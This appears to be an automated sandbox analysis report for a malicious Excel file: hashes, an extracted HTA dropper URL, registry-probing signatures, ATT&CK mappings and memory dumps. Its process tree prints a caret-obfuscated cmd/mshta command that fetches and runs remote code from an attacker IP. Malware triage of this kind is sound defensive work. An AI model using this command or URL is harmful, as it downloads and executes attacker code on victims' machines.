a9a6bde09c84bbea924f8692ee2f1ccf15a71c706280ea1c4a7d2ab189fce030

General

Target

a9a6bde09c84bbea924f8692ee2f1ccf15a71c706280ea1c4a7d2ab189fce030.xls
Size

101KB
MD5

a21898a09a41f3db7770516b83c1ad57
SHA1

fe0a3c3f087cc11db0e9ed13889b231a45e29d79
SHA256

a9a6bde09c84bbea924f8692ee2f1ccf15a71c706280ea1c4a7d2ab189fce030
SHA512

f957b60ed9270c92cfbb70e99f39f9d15deb7bfd3fe916b3fbda4de17e5ac39e0160b119f076482ca3981aad01edac369cc90320359c0cbb0f91b74d8f321eb8
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4912	4184	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	2332	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4184	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE
4184	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4184 wrote to memory of 4912	4184	EXCEL.EXE	87
PID 4184 wrote to memory of 4912	4184	EXCEL.EXE	87
PID 4912 wrote to memory of 2332	4912	cmd.exe	89
PID 4912 wrote to memory of 2332	4912	cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a9a6bde09c84bbea924f8692ee2f1ccf15a71c706280ea1c4a7d2ab189fce030.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4184
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
671B

MD5
fbf2e5a7489fd4d7162f8ce65f3a9ab0

SHA1
2aaaefd88c7598652cd2c4a554ac5b43b8361bb1

SHA256
1ad1266dafde0ac6f3d18b15c11ba66960dcba12856a359d7812a985969687e3

SHA512
a47184ac989191b29106e5123b46c17d8744779205c05503ac5ef1d7b614634840d5c31485d8a18103d4c3503ce6b0224330993c610ffd4de81814a996e0676c

Download Submit
memory/4184-10-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-4-0x00007FFA4FC90000-0x00007FFA4FCA0000-memory.dmp

Filesize
64KB

Download
memory/4184-5-0x00007FFA4FC90000-0x00007FFA4FCA0000-memory.dmp

Filesize
64KB

Download
memory/4184-3-0x00007FFA8FCAD000-0x00007FFA8FCAE000-memory.dmp

Filesize
4KB

Download
memory/4184-0-0x00007FFA4FC90000-0x00007FFA4FCA0000-memory.dmp

Filesize
64KB

Download
memory/4184-6-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-8-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-7-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-2-0x00007FFA4FC90000-0x00007FFA4FCA0000-memory.dmp

Filesize
64KB

Download
memory/4184-9-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-14-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-12-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-11-0x00007FFA4DC30000-0x00007FFA4DC40000-memory.dmp

Filesize
64KB

Download
memory/4184-15-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-17-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-16-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-18-0x00007FFA4DC30000-0x00007FFA4DC40000-memory.dmp

Filesize
64KB

Download
memory/4184-13-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-29-0x00007FFA8FC10000-0x00007FFA8FE05000-memory.dmp

Filesize
2.0MB

Download
memory/4184-1-0x00007FFA4FC90000-0x00007FFA4FCA0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads